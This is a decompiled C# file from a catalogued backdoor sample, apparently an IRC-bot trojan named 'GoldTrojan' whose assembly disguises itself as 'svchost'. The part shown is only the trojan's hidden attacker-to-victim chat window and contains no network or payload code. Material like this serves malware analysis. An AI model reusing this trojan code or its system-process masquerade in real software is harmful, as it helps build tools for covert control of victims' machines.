// Decompiled with JetBrains decompiler
// Type: GoldTrojan.Chat
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe

using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;

namespace GoldTrojan
{
  public class Chat : Form
  {
    public string txt;
    private string nicks;
    private string nicko;
    private IContainer components;
    private Button button1;
    private TextBox txtInput;
    private TextBox txtOutput;

    public Chat() => this.InitializeComponent();

    public void WyswietlWiadomosc(string tekst)
    {
      TextBox txtOutput = this.txtOutput;
      txtOutput.Text = txtOutput.Text + this.nicks + ": " + this.godzina() + Environment.NewLine + tekst + Environment.NewLine;
      this.Odswiez();
    }

    private string godzina()
    {
      DateTime now = DateTime.Now;
      return "[" + Convert.ToString(now.Hour) + ":" + Convert.ToString(now.Minute) + "]";
    }

    public void Dane(string nickser, string nickofiary)
    {
      this.nicks = nickser;
      this.nicko = nickofiary;
    }

    private void Odswiez()
    {
      this.txtOutput.SelectionStart = this.txtOutput.Text.Length;
      this.txtOutput.ScrollToCaret();
      this.txtOutput.Refresh();
    }

    private void button1_Click(object sender, EventArgs e)
    {
      string str1 = this.nicko + ": " + this.godzina() + Environment.NewLine + this.txtInput.Text + Environment.NewLine;
      string str2 = this.godzina() + " " + this.txtInput.Text;
      Chat chat = this;
      chat.txt = chat.txt + str2 + "     ";
      this.txtOutput.Text += str1;
      this.Odswiez();
      this.txtInput.Text = "";
    }

    private void Chat_KeyDown(object sender, KeyEventArgs e)
    {
      if (e.KeyCode != Keys.Return)
        return;
      this.button1_Click(sender, (EventArgs) e);
    }

    private void txtInput_KeyDown(object sender, KeyEventArgs e)
    {
      if (e.KeyCode != Keys.Return)
        return;
      this.button1_Click(sender, (EventArgs) e);
    }

    private void Chat_FormClosing(object sender, FormClosingEventArgs e) => new Chat().Hide();

    protected override void Dispose(bool disposing)
    {
      if (disposing && this.components != null)
        this.components.Dispose();
      base.Dispose(disposing);
    }

    private void InitializeComponent()
    {
      this.button1 = new Button();
      this.txtInput = new TextBox();
      this.txtOutput = new TextBox();
      this.SuspendLayout();
      this.button1.AllowDrop = true;
      this.button1.Location = new Point(12, 231);
      this.button1.Name = "button1";
      this.button1.Size = new Size(268, 23);
      this.button1.TabIndex = 4;
      this.button1.Text = "Wyślij";
      this.button1.UseVisualStyleBackColor = true;
      this.button1.Click += new EventHandler(this.button1_Click);
      this.txtInput.AllowDrop = true;
      this.txtInput.Location = new Point(12, 205);
      this.txtInput.Name = "txtInput";
      this.txtInput.Size = new Size(268, 20);
      this.txtInput.TabIndex = 3;
      this.txtInput.KeyDown += new KeyEventHandler(this.txtInput_KeyDown);
      this.txtOutput.AllowDrop = true;
      this.txtOutput.Location = new Point(12, 12);
      this.txtOutput.Multiline = true;
      this.txtOutput.Name = "txtOutput";
      this.txtOutput.ReadOnly = true;
      this.txtOutput.ScrollBars = ScrollBars.Vertical;
      this.txtOutput.Size = new Size(268, 176);
      this.txtOutput.TabIndex = 5;
      this.txtOutput.WordWrap = false;
      this.AllowDrop = true;
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.ClientSize = new Size(292, 266);
      this.Controls.Add((Control) this.button1);
      this.Controls.Add((Control) this.txtInput);
      this.Controls.Add((Control) this.txtOutput);
      this.Name = nameof (Chat);
      this.ShowInTaskbar = false;
      this.Text = nameof (Chat);
      this.FormClosing += new FormClosingEventHandler(this.Chat_FormClosing);
      this.KeyDown += new KeyEventHandler(this.Chat_KeyDown);
      this.ResumeLayout(false);
      this.PerformLayout();
    }
  }
}
